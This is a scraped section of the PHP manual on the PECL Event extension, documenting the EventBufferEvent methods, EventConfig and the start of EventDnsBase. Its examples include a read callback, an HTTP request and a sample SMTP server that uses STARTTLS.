EventBufferEvent::__construct — Constructs EventBufferEvent object

説明

public EventBufferEvent::__construct ( EventBase $base , mixed $socket = null , int $options = 0 , callable $readcb = null , callable $writecb = null , callable $eventcb = null )

Create a buffer event on a socket, stream or a file descriptor. Passing null to socket means that the socket should be created later, e.g. by means of EventBufferEvent::connect() .

パラメータ

base

Event base that should be associated with the new buffer event.

socket

May be created as a stream(not necessarily by means of sockets extension)

options

One of EventBufferEvent::OPT_* constants , or 0 .

readcb

Read event callback. See About buffer event callbacks .

writecb

Write event callback. See About buffer event callbacks .

eventcb

Status-change event callback. See About buffer event callbacks .

arg

A variable that will be passed to all the callbacks.

返り値

Returns buffer event resource optionally associated with socket resource. */

参考

  • EventBufferEvent::sslFilter() - Create a new SSL buffer event to send its data over another buffer event
  • EventBufferEvent::sslSocket() - Creates a new SSL buffer event to send its data over an SSL on a socket

User Contributed Notes

There are no user contributed notes for this page.


Creates two buffer events connected to each other

  • ≪ EventBufferEvent::__construct
  • EventBufferEvent::disable ≫
  • PHP Manual
  • EventBufferEvent
  • Creates two buffer events connected to each other

EventBufferEvent::createPair

(PECL event >= 1.2.6-beta)

EventBufferEvent::createPair — Creates two buffer events connected to each other

説明

public static EventBufferEvent::createPair ( EventBase $base , int $options = 0 ) : array

Returns array of two EventBufferEvent objects connected to each other. All the usual options are supported, except for EventBufferEvent::OPT_CLOSE_ON_FREE , which has no effect, and EventBufferEvent::OPT_DEFER_CALLBACKS , which is always on.

パラメータ

base

Associated event base

options

EventBufferEvent::OPT_* constants combined with bitwise OR operator.

返り値

Returns array of two EventBufferEvent objects connected to each other.

変更履歴

バージョン | 説明
PECL event 1.9.0 | Method made static.

User Contributed Notes

There are no user contributed notes for this page.


Disable events read, write, or both on a buffer event

  • ≪ EventBufferEvent::createPair
  • EventBufferEvent::enable ≫
  • PHP Manual
  • EventBufferEvent
  • Disable events read, write, or both on a buffer event

EventBufferEvent::disable

(PECL event >= 1.2.6-beta)

EventBufferEvent::disable — Disable events read, write, or both on a buffer event

説明

public EventBufferEvent::disable ( int $events ) : bool

Disable events Event::READ , Event::WRITE , or Event::READ | Event::WRITE on a buffer event.

パラメータ

events

返り値

Returns true on success. Otherwise false.

参考

  • EventBufferEvent::enable() - Enable events read, write, or both on a buffer event

User Contributed Notes

There are no user contributed notes for this page.


Enable events read, write, or both on a buffer event

  • ≪ EventBufferEvent::disable
  • EventBufferEvent::free ≫
  • PHP Manual
  • EventBufferEvent
  • Enable events read, write, or both on a buffer event

EventBufferEvent::enable

(PECL event >= 1.2.6-beta)

EventBufferEvent::enable — Enable events read, write, or both on a buffer event

説明

public EventBufferEvent::enable ( int $events ) : bool

Enable events Event::READ , Event::WRITE , or Event::READ | Event::WRITE on a buffer event.

パラメータ

events

Event::READ , Event::WRITE , or Event::READ | Event::WRITE on a buffer event.

返り値

Returns true on success. Otherwise false.

参考

  • EventBufferEvent::disable() - Disable events read, write, or both on a buffer event

User Contributed Notes

There are no user contributed notes for this page.


Free a buffer event

  • ≪ EventBufferEvent::enable
  • EventBufferEvent::getDnsErrorString ≫
  • PHP Manual
  • EventBufferEvent
  • Free a buffer event

EventBufferEvent::free

(PECL event >= 1.2.6-beta)

EventBufferEvent::free — Free a buffer event

説明

public EventBufferEvent::free ( ) : void

Free resources allocated by buffer event.

Usually there is no need to call this method, since normally it is done within internal object destructors. However, sometimes we have a long-time script allocating lots of instances, or a script with a heavy memory usage, where we need to free resources as soon as possible. In such cases EventBufferEvent::free() may be used to protect the script against running up to the memory_limit .

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Returns string describing the last failed DNS lookup attempt

  • ≪ EventBufferEvent::free
  • EventBufferEvent::getEnabled ≫
  • PHP Manual
  • EventBufferEvent
  • Returns string describing the last failed DNS lookup attempt

EventBufferEvent::getDnsErrorString

(PECL event >= 1.2.6-beta)

EventBufferEvent::getDnsErrorString — Returns string describing the last failed DNS lookup attempt

説明

public EventBufferEvent::getDnsErrorString ( ) : string

Returns string describing the last failed DNS lookup attempt made by EventBufferEvent::connectHost() , or an empty string, if there is no DNS error detected.

パラメータ

この関数にはパラメータはありません。

返り値

Returns a string describing DNS lookup error, or an empty string for no error.

参考

  • EventBufferEvent::connectHost() - Connects to a hostname with optionally asyncronous DNS resolving

User Contributed Notes

There are no user contributed notes for this page.


Returns bitmask of events currently enabled on the buffer event

  • ≪ EventBufferEvent::getDnsErrorString
  • EventBufferEvent::getInput ≫
  • PHP Manual
  • EventBufferEvent
  • Returns bitmask of events currently enabled on the buffer event

EventBufferEvent::getEnabled

(PECL event >= 1.2.6-beta)

EventBufferEvent::getEnabled — Returns bitmask of events currently enabled on the buffer event

説明

public EventBufferEvent::getEnabled ( ) : int

Returns bitmask of events currently enabled on the buffer event

パラメータ

この関数にはパラメータはありません。

返り値

Returns integer representing a bitmask of events currently enabled on the buffer event

参考

  • EventBufferEvent::enable() - Enable events read, write, or both on a buffer event
  • EventBufferEvent::disable() - Disable events read, write, or both on a buffer event

User Contributed Notes

There are no user contributed notes for this page.


Returns underlying input buffer associated with current buffer event

  • ≪ EventBufferEvent::getEnabled
  • EventBufferEvent::getOutput ≫
  • PHP Manual
  • EventBufferEvent
  • Returns underlying input buffer associated with current buffer event

EventBufferEvent::getInput

(PECL event >= 1.2.6-beta)

EventBufferEvent::getInput — Returns underlying input buffer associated with current buffer event

説明

public EventBufferEvent::getInput ( ) : EventBuffer

Returns underlying input buffer associated with current buffer event. An input buffer is a storage for data to read.

Note, there is also input property of EventBufferEvent class.

パラメータ

この関数にはパラメータはありません。

返り値

Returns instance of EventBuffer input buffer associated with current buffer event.

例

例1 Buffer event's read callback

<?php
function readcb($bev, $base) {
    $input = $bev->input; //$bev->getInput();

    while (($n = $input->remove($buf, 1024)) > 0) {
        echo $buf;
    }
}
?>

参考

  • EventBufferEvent::getOutput() - Returns underlying output buffer associated with current buffer event

User Contributed Notes

There are no user contributed notes for this page.


Returns underlying output buffer associated with current buffer event

  • ≪ EventBufferEvent::getInput
  • EventBufferEvent::read ≫
  • PHP Manual
  • EventBufferEvent
  • Returns underlying output buffer associated with current buffer event

EventBufferEvent::getOutput

(PECL event >= 1.2.6-beta)

EventBufferEvent::getOutput — Returns underlying output buffer associated with current buffer event

説明

public EventBufferEvent::getOutput ( ) : EventBuffer

Returns underlying output buffer associated with current buffer event. An output buffer is a storage for data to be written.

Note, there is also output property of EventBufferEvent class.

パラメータ

この関数にはパラメータはありません。

返り値

Returns instance of EventBuffer output buffer associated with current buffer event.

例

例1 EventBufferEvent::getOutput() example

<?php
$base = new EventBase();

$dns_base = new EventDnsBase($base, TRUE); // Use async DNS resolving
if (!$dns_base) {
    exit("Failed to init DNS Base\n");
}

$bev = new EventBufferEvent($base, /* use internal socket */ NULL,
    EventBufferEvent::OPT_CLOSE_ON_FREE | EventBufferEvent::OPT_DEFER_CALLBACKS,
    "readcb", /* writecb */ NULL, "eventcb", $base
);
if (!$bev) {
    exit("Failed creating bufferevent socket\n");
}

$bev->enable(Event::READ | Event::WRITE);

$output = $bev->getOutput();
if (!$output->add(
    "GET {$argv[2]} HTTP/1.0\r\n".
    "Host: {$argv[1]}\r\n".
    "Connection: Close\r\n\r\n"
)) {
    exit("Failed adding request to output buffer\n");
}

/* ... */
?>

参考

  • EventBufferEvent::getInput() - Returns underlying input buffer associated with current buffer event

User Contributed Notes

There are no user contributed notes for this page.


Read buffer's data

  • ≪ EventBufferEvent::getOutput
  • EventBufferEvent::readBuffer ≫
  • PHP Manual
  • EventBufferEvent
  • Read buffer's data

EventBufferEvent::read

(PECL event >= 1.2.6-beta)

EventBufferEvent::read — Read buffer's data

説明

public EventBufferEvent::read ( int $size ) : string

Removes up to size bytes from the input buffer. Returns a string of data read from the input buffer.

パラメータ

size

Maximum number of bytes to read

返り値

Returns string of data read from the input buffer.

参考

  • EventBufferEvent::readBuffer() - Drains the entire contents of the input buffer and places them into buf

User Contributed Notes

There are no user contributed notes for this page.


Drains the entire contents of the input buffer and places them into buf

  • ≪ EventBufferEvent::read
  • EventBufferEvent::setCallbacks ≫
  • PHP Manual
  • EventBufferEvent
  • Drains the entire contents of the input buffer and places them into buf

EventBufferEvent::readBuffer

(PECL event >= 1.2.6-beta)

EventBufferEvent::readBuffer — Drains the entire contents of the input buffer and places them into buf

説明

public EventBufferEvent::readBuffer ( EventBuffer $buf ) : bool

Drains the entire contents of the input buffer and places them into buf .

パラメータ

buf

Target buffer

返り値

Returns true on success; Otherwise false.

参考

  • EventBufferEvent::read() - Read buffer's data

User Contributed Notes

There are no user contributed notes for this page.


Assigns read, write and event(status) callbacks

  • ≪ EventBufferEvent::readBuffer
  • EventBufferEvent::setPriority ≫
  • PHP Manual
  • EventBufferEvent
  • Assigns read, write and event(status) callbacks

EventBufferEvent::setCallbacks

(PECL event >= 1.2.6-beta)

EventBufferEvent::setCallbacks — Assigns read, write and event(status) callbacks

説明

public EventBufferEvent::setCallbacks ( callable $readcb , callable $writecb , callable $eventcb , string $arg = ? ) : void

Assigns read, write and event(status) callbacks.

パラメータ

readcb

Read event callback. See About buffer event callbacks .

writecb

Write event callback. See About buffer event callbacks .

eventcb

Status-change event callback. See About buffer event callbacks .

arg

A variable that will be passed to all the callbacks.

返り値

値を返しません。

参考

  • EventBufferEvent::__construct() - Constructs EventBufferEvent object

User Contributed Notes

Igor K 15-Jun-2020 03:48
Probably, $arg argument should be declared as mixed $arg = NULL, like it is in other methods. Its is useless to be just a string, since we want to pass more complex structures (array or object) and do so.


Assign a priority to a bufferevent

  • ≪ EventBufferEvent::setCallbacks
  • EventBufferEvent::setTimeouts ≫
  • PHP Manual
  • EventBufferEvent
  • Assign a priority to a bufferevent

EventBufferEvent::setPriority

(PECL event >= 1.2.6-beta)

EventBufferEvent::setPriority — Assign a priority to a bufferevent

説明

public EventBufferEvent::setPriority ( int $priority ) : bool

Assign a priority to a bufferevent

警告

Only supported for socket buffer events

パラメータ

priority

Priority value.

返り値

Returns true on success. Otherwise false.

User Contributed Notes

There are no user contributed notes for this page.


Set the read and write timeout for a buffer event

  • ≪ EventBufferEvent::setPriority
  • EventBufferEvent::setWatermark ≫
  • PHP Manual
  • EventBufferEvent
  • Set the read and write timeout for a buffer event

EventBufferEvent::setTimeouts

(PECL event >= 1.2.6-beta)

EventBufferEvent::setTimeouts — Set the read and write timeout for a buffer event

説明

public EventBufferEvent::setTimeouts ( float $timeout_read , float $timeout_write ) : bool

Set the read and write timeout for a buffer event

パラメータ

timeout_read

Read timeout

timeout_write

Write timeout

返り値

Returns true on success. Otherwise false.

User Contributed Notes

There are no user contributed notes for this page.


Adjusts read and/or write watermarks

  • ≪ EventBufferEvent::setTimeouts
  • EventBufferEvent::sslError ≫
  • PHP Manual
  • EventBufferEvent
  • Adjusts read and/or write watermarks

EventBufferEvent::setWatermark

(PECL event >= 1.2.6-beta)

EventBufferEvent::setWatermark — Adjusts read and/or write watermarks

説明

public EventBufferEvent::setWatermark ( int $events , int $lowmark , int $highmark ) : void

Adjusts the read watermarks, the write watermarks , or both, of a single buffer event.

A buffer event watermark is an edge, a value specifying number of bytes to be read or written before callback is invoked. By default every read/write event triggers a callback invokation. See » Fast portable non-blocking network programming with Libevent: Callbacks and watermarks

パラメータ

events

Bitmask of Event::READ , Event::WRITE , or both.

lowmark

Minimum watermark value.

highmark

Maximum watermark value. 0 means "unlimited".

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Returns most recent OpenSSL error reported on the buffer event

  • ≪ EventBufferEvent::setWatermark
  • EventBufferEvent::sslFilter ≫
  • PHP Manual
  • EventBufferEvent
  • Returns most recent OpenSSL error reported on the buffer event

EventBufferEvent::sslError

(PECL event >= 1.2.6-beta)

EventBufferEvent::sslError — Returns most recent OpenSSL error reported on the buffer event

説明

public EventBufferEvent::sslError ( ) : string

Returns most recent OpenSSL error reported on the buffer event.

注意:

This function is available only if Event is compiled with OpenSSL support.

パラメータ

この関数にはパラメータはありません。

返り値

Returns OpenSSL error string reported on the buffer event, or false, if there is no more error to return.

例

例1 EventBufferEvent::sslError() example

<?php
// This callback is invoked when some even occurs on the event listener,
// e.g. connection closed, or an error occured
function ssl_event_cb($bev, $events, $ctx) {
    if ($events & EventBufferEvent::ERROR) {
        // Fetch errors from the SSL error stack
        while ($err = $bev->sslError()) {
            fprintf(STDERR, "Bufferevent error %s.\n", $err);
        }
    }

    if ($events & (EventBufferEvent::EOF | EventBufferEvent::ERROR)) {
        $bev->free();
    }
}
?>

参考

  • EventBufferEvent::sslRenegotiate() - Tells a bufferevent to begin SSL renegotiation

User Contributed Notes

There are no user contributed notes for this page.


Create a new SSL buffer event to send its data over another buffer event

  • ≪ EventBufferEvent::sslError
  • EventBufferEvent::sslGetCipherInfo ≫
  • PHP Manual
  • EventBufferEvent
  • Create a new SSL buffer event to send its data over another buffer event

EventBufferEvent::sslFilter

(PECL event >= 1.2.6-beta)

EventBufferEvent::sslFilter — Create a new SSL buffer event to send its data over another buffer event

説明

public static EventBufferEvent::sslFilter ( EventBase $base , EventBufferEvent $underlying , EventSslContext $ctx , int $state , int $options = 0 ) : EventBufferEvent

Create a new SSL buffer event to send its data over another buffer event

注意:

This function is available only if Event is compiled with OpenSSL support.

パラメータ

base

Associated event base.

underlying

A socket buffer event to use for this SSL.

ctx

Object of EventSslContext class.

state

The current state of SSL connection: EventBufferEvent::SSL_OPEN , EventBufferEvent::SSL_ACCEPTING or EventBufferEvent::SSL_CONNECTING .

options

One or more buffer event options.

返り値

Returns a new SSL EventBufferEvent object.

例

例1 Simple SMTP server

<?php
 /*
 * Author: Andrew Rose <hello at andrewrose dot co dot uk>
 *
 * Usage:
 * 1) Prepare cert.pem certificate and privkey.pem private key files.
 * 2) Launch the server script
 * 3) Open TLS connection, e.g.:
 *      $ openssl s_client -connect localhost:25 -starttls smtp -crlf
 * 4) Start testing the commands listed in `cmd` method below.
 */

class Handler {
    public $domainName = FALSE;
    public $connections = [];
    public $buffers = [];
    public $maxRead = 256000;

    public function __construct() {
        $this->ctx = new EventSslContext(EventSslContext::SSLv3_SERVER_METHOD, [
            EventSslContext::OPT_LOCAL_CERT  => 'cert.pem',
            EventSslContext::OPT_LOCAL_PK    => 'privkey.pem',
            //EventSslContext::OPT_PASSPHRASE  => '',
            EventSslContext::OPT_VERIFY_PEER => false, // change to true with authentic cert
            EventSslContext::OPT_ALLOW_SELF_SIGNED => true // change to false with authentic cert
        ]);

        $this->base = new EventBase();
        if (!$this->base) {
            exit("Couldn't open event base\n");
        }

        if (!$this->listener = new EventListener($this->base,
            [$this, 'ev_accept'],
            $this->ctx,
            EventListener::OPT_CLOSE_ON_FREE | EventListener::OPT_REUSEABLE,
            -1,
            '0.0.0.0:25'))
        {
            exit("Couldn't create listener\n");
        }

        $this->listener->setErrorCallback([$this, 'ev_error']);
        $this->base->dispatch();
    }

    public function ev_accept($listener, $fd, $address, $ctx) {
        static $id = 0;
        $id += 1;

        $this->connections[$id]['clientData'] = '';
        $this->connections[$id]['cnx'] = new EventBufferEvent($this->base, $fd,
            EventBufferEvent::OPT_CLOSE_ON_FREE);

        if (!$this->connections[$id]['cnx']) {
            echo "Failed creating buffer\n";
            $this->base->exit(NULL);
            exit(1);
        }

        $this->connections[$id]['cnx']->setCallbacks([$this, "ev_read"], NULL,
            [$this, 'ev_error'], $id);
        $this->connections[$id]['cnx']->enable(Event::READ | Event::WRITE);

        $this->ev_write($id, '220 '.$this->domainName." wazzzap?\r\n");
    }

    function ev_error($listener, $ctx) {
        $errno = EventUtil::getLastSocketErrno();

        fprintf(STDERR, "Got an error %d (%s) on the listener. Shutting down.\n",
            $errno, EventUtil::getLastSocketError());

        if ($errno != 0) {
            $this->base->exit(NULL);
            exit();
        }
    }

    public function ev_close($id) {
        $this->connections[$id]['cnx']->disable(Event::READ | Event::WRITE);
        unset($this->connections[$id]);
    }

    protected function ev_write($id, $string) {
        echo 'S('.$id.'): '.$string;
        $this->connections[$id]['cnx']->write($string);
    }

    public function ev_read($buffer, $id) {
        while($buffer->input->length > 0) {
            $this->connections[$id]['clientData'] .= $buffer->input->read($this->maxRead);
            $clientDataLen = strlen($this->connections[$id]['clientData']);

            if($this->connections[$id]['clientData'][$clientDataLen-1] == "\n"
                && $this->connections[$id]['clientData'][$clientDataLen-2] == "\r")
            {
                // remove the trailing \r\n
                $line = substr($this->connections[$id]['clientData'], 0,
                    strlen($this->connections[$id]['clientData']) - 2);

                $this->connections[$id]['clientData'] = '';
                $this->cmd($buffer, $id, $line);
            }
        }
    }

    protected function cmd($buffer, $id, $line) {
        switch ($line) {
            case strncmp('EHLO ', $line, 4):
                $this->ev_write($id, "250-STARTTLS\r\n");
                $this->ev_write($id, "250 OK ehlo\r\n");
                break;

            case strncmp('HELO ', $line, 4):
                $this->ev_write($id, "250-STARTTLS\r\n");
                $this->ev_write($id, "250 OK helo\r\n");
                break;

            case strncmp('QUIT', $line, 3):
                $this->ev_write($id, "250 OK quit\r\n");
                $this->ev_close($id);
                break;

            case strncmp('STARTTLS', $line, 3):
                $this->ev_write($id, "220 Ready to start TLS\r\n");
                $this->connections[$id]['cnx'] = EventBufferEvent::sslFilter($this->base,
                    $this->connections[$id]['cnx'], $this->ctx,
                    EventBufferEvent::SSL_ACCEPTING,
                    EventBufferEvent::OPT_CLOSE_ON_FREE);
                $this->connections[$id]['cnx']->setCallbacks([$this, "ev_read"], NULL, [$this, 'ev_error'], $id);
                $this->connections[$id]['cnx']->enable(Event::READ | Event::WRITE);
                break;

            default:
                echo 'unknown command: '.$line."\n";
                break;
        }
    }
}

new Handler();

参考

  • EventBufferEvent::sslSocket() - Creates a new SSL buffer event to send its data over an SSL on a socket

User Contributed Notes

There are no user contributed notes for this page.


Returns a textual description of the cipher

  • ≪ EventBufferEvent::sslFilter
  • EventBufferEvent::sslGetCipherName ≫
  • PHP Manual
  • EventBufferEvent
  • Returns a textual description of the cipher

EventBufferEvent::sslGetCipherInfo

(PECL event >= 1.10.0)

EventBufferEvent::sslGetCipherInfo — Returns a textual description of the cipher

説明

public EventBufferEvent::sslGetCipherInfo ( ) : string

Retrieves description of the current cipher by means of the SSL_CIPHER_description SSL API function (see SSL_CIPHER_get_name(3) man page).

注意:

This function is available only if Event is compiled with OpenSSL support.

パラメータ

この関数にはパラメータはありません。

返り値

Returns a textual description of the cipher on success, or false on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns the current cipher name of the SSL connection

  • ≪ EventBufferEvent::sslGetCipherInfo
  • EventBufferEvent::sslGetCipherVersion ≫
  • PHP Manual
  • EventBufferEvent
  • Returns the current cipher name of the SSL connection

EventBufferEvent::sslGetCipherName

(PECL event >= 1.10.0)

EventBufferEvent::sslGetCipherName — Returns the current cipher name of the SSL connection

説明

public EventBufferEvent::sslGetCipherName ( ) : string

Retrieves name of cipher used by current SSL connection.

注意:

This function is available only if Event is compiled with OpenSSL support.

パラメータ

この関数にはパラメータはありません。

返り値

Returns the current cipher name of the SSL connection, or false on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns version of cipher used by current SSL connection

  • ≪ EventBufferEvent::sslGetCipherName
  • EventBufferEvent::sslGetProtocol ≫
  • PHP Manual
  • EventBufferEvent
  • Returns version of cipher used by current SSL connection

EventBufferEvent::sslGetCipherVersion

(PECL event >= 1.10.0)

EventBufferEvent::sslGetCipherVersion — Returns version of cipher used by current SSL connection

説明

public EventBufferEvent::sslGetCipherVersion ( ) : string

Retrieves version of cipher used by current SSL connection.

注意:

This function is available only if Event is compiled with OpenSSL support.

パラメータ

この関数にはパラメータはありません。

返り値

Returns the current cipher version of the SSL connection, or false on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns the name of the protocol used for current SSL connection

  • ≪ EventBufferEvent::sslGetCipherVersion
  • EventBufferEvent::sslRenegotiate ≫
  • PHP Manual
  • EventBufferEvent
  • Returns the name of the protocol used for current SSL connection

EventBufferEvent::sslGetProtocol

(PECL event >= 1.10.0)

EventBufferEvent::sslGetProtocol — Returns the name of the protocol used for current SSL connection

説明

public EventBufferEvent::sslGetProtocol ( ) : string

Returns the name of the protocol used for current SSL connection.

注意:

This function is available only if Event is compiled with OpenSSL support.

パラメータ

この関数にはパラメータはありません。

返り値

Returns the name of the protocol used for current SSL connection.

User Contributed Notes

There are no user contributed notes for this page.


Tells a bufferevent to begin SSL renegotiation

  • ≪ EventBufferEvent::sslGetProtocol
  • EventBufferEvent::sslSocket ≫
  • PHP Manual
  • EventBufferEvent
  • Tells a bufferevent to begin SSL renegotiation

EventBufferEvent::sslRenegotiate

(PECL event >= 1.2.6-beta)

EventBufferEvent::sslRenegotiate — Tells a bufferevent to begin SSL renegotiation

説明

public EventBufferEvent::sslRenegotiate ( ) : void

Tells a bufferevent to begin SSL renegotiation.

警告

Calling this function tells the SSL to renegotiate, and the buffer event to invoke appropriate callbacks. This is an advanced topic; this should be generally avoided unless one really knows what he/she does, especially since many SSL versions have had known security issues related to renegotiation.

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Creates a new SSL buffer event to send its data over an SSL on a socket

  • ≪ EventBufferEvent::sslRenegotiate
  • EventBufferEvent::write ≫
  • PHP Manual
  • EventBufferEvent
  • Creates a new SSL buffer event to send its data over an SSL on a socket

EventBufferEvent::sslSocket

(PECL event >= 1.2.6-beta)

EventBufferEvent::sslSocket — Creates a new SSL buffer event to send its data over an SSL on a socket

説明

public static EventBufferEvent::sslSocket ( EventBase $base , mixed $socket , EventSslContext $ctx , int $state , int $options = ? ) : EventBufferEvent

Creates a new SSL buffer event to send its data over an SSL on a socket.

パラメータ

base

Associated event base.

socket

Socket to use for this SSL. Can be stream or socket resource, numeric file descriptor, or null. If socket is null, it is assumed that the file descriptor for the socket will be assigned later, for instance, by means of EventBufferEvent::connectHost() method.

ctx

Object of EventSslContext class.

state

The current state of SSL connection: EventBufferEvent::SSL_OPEN , EventBufferEvent::SSL_ACCEPTING or EventBufferEvent::SSL_CONNECTING .

options

The buffer event options.

返り値

Returns EventBufferEvent object.

参考

  • EventBufferEvent::sslFilter() - Create a new SSL buffer event to send its data over another buffer event

User Contributed Notes

There are no user contributed notes for this page.


Adds data to a buffer event's output buffer

  • ≪ EventBufferEvent::sslSocket
  • EventBufferEvent::writeBuffer ≫
  • PHP Manual
  • EventBufferEvent
  • Adds data to a buffer event's output buffer

EventBufferEvent::write

(PECL event >= 1.2.6-beta)

EventBufferEvent::write — Adds data to a buffer event's output buffer

説明

public EventBufferEvent::write ( string $data ) : bool

Adds data to a buffer event's output buffer

パラメータ

data

Data to be added to the underlying buffer.

返り値

Returns true on success. Otherwise false.

参考

  • EventBufferEvent::writeBuffer() - Adds contents of the entire buffer to a buffer event's output buffer

User Contributed Notes

There are no user contributed notes for this page.


Adds contents of the entire buffer to a buffer event's output buffer

  • ≪ EventBufferEvent::write
  • About buffer event callbacks ≫
  • PHP Manual
  • EventBufferEvent
  • Adds contents of the entire buffer to a buffer event's output buffer

EventBufferEvent::writeBuffer

(PECL event >= 1.2.6-beta)

EventBufferEvent::writeBuffer — Adds contents of the entire buffer to a buffer event's output buffer

説明

public EventBufferEvent::writeBuffer ( EventBuffer $buf ) : bool

Adds contents of the entire buffer to a buffer event's output buffer

パラメータ

buf

Source EventBuffer object.

返り値

Returns true on success. Otherwise false.

参考

  • EventBufferEvent::write() - Adds data to a buffer event's output buffer

User Contributed Notes

There are no user contributed notes for this page.


About buffer event callbacks

An object of EventBufferEvent class represents a buffer event . The asynchronous nature of I/O performed by Libevent implies that a socket(or other kind of file descriptor) is not always available. Event invokes corresponding callbacks when the resource becomes available for reading or writing, or when some event occurs(e.g. error, "end of line" etc.).

Read and write callbacks should match the following prototype:

callback ( EventBufferEvent $bev = null , mixed $arg = null ) : void

bev

Associated EventBufferEvent object.

arg

Custom variable attached to all callbacks via EventBufferEvent::__construct() , or EventBufferEvent::setCallbacks() .

Event callback should match the following prototype:

callback ( EventBufferEvent $bev = null , int $events = 0 , mixed $arg = null ) : void

bev

Associated EventBufferEvent object.

events

Bit mask of events: EventBufferEvent::READING , EventBufferEvent::WRITING , EventBufferEvent::EOL , EventBufferEvent::ERROR and EventBufferEvent::TIMEOUT . See EventBufferEvent constants

arg

Custom variable attached to all callbacks via EventBufferEvent::__construct() , or EventBufferEvent::setCallbacks() .

User Contributed Notes

There are no user contributed notes for this page.


The EventConfig class

(PECL event >= 1.2.6-beta)

はじめに

Represents configuration structure which could be used in construction of the EventBase .

クラス概要

final EventConfig {
/* Constants */
const int FEATURE_ET = 1 ;
const int FEATURE_O1 = 2 ;
const int FEATURE_FDS = 4 ;
/* メソッド */
public avoidMethod ( string $method ) : bool
public __construct ( )
public requireFeatures ( int $feature ) : bool
public setMaxDispatchInterval ( int $max_interval , int $max_callbacks , int $min_priority ) : void
}

定義済み定数

EventConfig::FEATURE_ET

Requires a backend method that supports edge-triggered I/O.

EventConfig::FEATURE_O1

Requires a backend method where adding or deleting a single event, or having a single event become active, is an O(1) operation.

EventConfig::FEATURE_FDS

Requires a backend method that can support arbitrary file descriptor types, and not just sockets.

目次

  • EventConfig::avoidMethod — Tells libevent to avoid specific event method
  • EventConfig::__construct — Constructs EventConfig object
  • EventConfig::requireFeatures — Enters a required event method feature that the application demands
  • EventConfig::setMaxDispatchInterval — Prevents priority inversion

User Contributed Notes

There are no user contributed notes for this page.


Tells libevent to avoid specific event method

  • ≪ EventConfig
  • EventConfig::__construct ≫
  • PHP Manual
  • EventConfig
  • Tells libevent to avoid specific event method

EventConfig::avoidMethod

(PECL event >= 1.2.6-beta)

EventConfig::avoidMethod — Tells libevent to avoid specific event method

説明

public EventConfig::avoidMethod ( string $method ) : bool

Tells libevent to avoid specific event method(backend). See » Creating an event base .

パラメータ

method

The backend method to avoid. See EventConfig constants .

返り値

Returns true on success, otherwise false.

例

例1 EventConfig::avoidMethod() example

<?php
$cfg = new EventConfig();
if ($cfg->avoidMethod("select")) {
    echo "`select' method avoided\n";
}
?>

参考

  • EventBase::__construct() - Constructs EventBase object

User Contributed Notes

There are no user contributed notes for this page.


Constructs EventConfig object

  • ≪ EventConfig::avoidMethod
  • EventConfig::requireFeatures ≫
  • PHP Manual
  • EventConfig
  • Constructs EventConfig object

EventConfig::__construct

(PECL event >= 1.2.6-beta)

EventConfig::__construct — Constructs EventConfig object

説明

public EventConfig::__construct ( )

Constructs EventConfig object which could be passed to EventBase::__construct() constructor.

パラメータ

この関数にはパラメータはありません。

返り値

Returns EventConfig object.

例

例1 EventConfig::__construct() example

<?php
// Avoiding "select" method
$cfg = new EventConfig();
if ($cfg->avoidMethod("select")) {
    echo "`select' method avoided\n";
}

// Create event_base associated with the config
$base = new EventBase($cfg);

/* Now $base is configured to avoid select backend(method) */
?>

参考

  • EventBase::__construct() - Constructs EventBase object

User Contributed Notes

There are no user contributed notes for this page.


Enters a required event method feature that the application demands

  • ≪ EventConfig::__construct
  • EventConfig::setMaxDispatchInterval ≫
  • PHP Manual
  • EventConfig
  • Enters a required event method feature that the application demands

EventConfig::requireFeatures

(PECL event >= 1.2.6-beta)

EventConfig::requireFeatures — Enters a required event method feature that the application demands

説明

public EventConfig::requireFeatures ( int $feature ) : bool

Enters a required event method feature that the application demands

パラメータ

feature

Bitmask of required features. See EventConfig::FEATURE_* constants

返り値

例

例1 EventConfig::requireFeatures() example

<?php
$cfg = new EventConfig();

// Create event_base associated with the config
$base = new EventBase($cfg);

// Require FDS feature
if ($cfg->requireFeatures(EventConfig::FEATURE_FDS)) {
    echo "FDS feature is now requried\n";

    $base = new EventBase($cfg);
    ($base->getFeatures() & EventConfig::FEATURE_FDS)
        and print("FDS - arbitrary file descriptor types, and not just sockets\n");
}
?>

上の例の出力は、 たとえば以下のようになります。

FDS feature is now requried
FDS - arbitrary file descriptor types, and not just sockets

参考

  • EventBase::getFeatures() - Returns bitmask of features supported

User Contributed Notes

There are no user contributed notes for this page.


Prevents priority inversion

  • ≪ EventConfig::requireFeatures
  • EventDnsBase ≫
  • PHP Manual
  • EventConfig
  • Prevents priority inversion

EventConfig::setMaxDispatchInterval

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

EventConfig::setMaxDispatchInterval — Prevents priority inversion

説明

public EventConfig::setMaxDispatchInterval ( int $max_interval , int $max_callbacks , int $min_priority ) : void

Prevents priority inversion by limiting how many low-priority event callbacks can be invoked before checking for more high-priority events.

注意:

Available since libevent 2.1.0-alpha .

パラメータ

max_interval

An interval after which Libevent should stop running callbacks and check for more events, or 0 , if there should be no such interval.

max_callbacks

A number of callbacks after which Libevent should stop running callbacks and check for more events, or -1 , if there should be no such limit.

min_priority

A priority below which max_interval and max_callbacks should not be enforced. If this is set to 0 , they are enforced for events of every priority; if it's set to 1 , they're enforced for events of priority 1 and above, and so on.

返り値

Returns true on success, otherwise false.

User Contributed Notes

There are no user contributed notes for this page.


The EventDnsBase class

(PECL event >= 1.2.6-beta)

はじめに

Represents Libevent's DNS base structure. Used to resolve DNS asyncronously, parse configuration files like resolv.conf etc.

クラス概要

final EventDnsBase {
/* Constants */
const int OPTION_SEARCH = 1 ;
const int OPTION_NAMESERVERS = 2 ;
const int OPTION_MISC = 4 ;
const int OPTION_HOSTSFILE = 8 ;
const int OPTIONS_ALL = 15 ;
/* メソッド */
public addNameserverIp ( string $ip ) : bool
public addSearch ( string $domain ) : void
public clearSearch ( ) : void
public __construct ( EventBase $base , bool $initialize )
public countNameservers ( ) : int
public loadHosts ( string $hosts ) : bool
public parseResolvConf ( int $flags , string $filename ) : bool
public setOption ( string $option , string $value ) : bool
public setSearchNdots ( int $ndots ) : bool
}

定義済み定数

EventDnsBase::OPTION_SEARCH

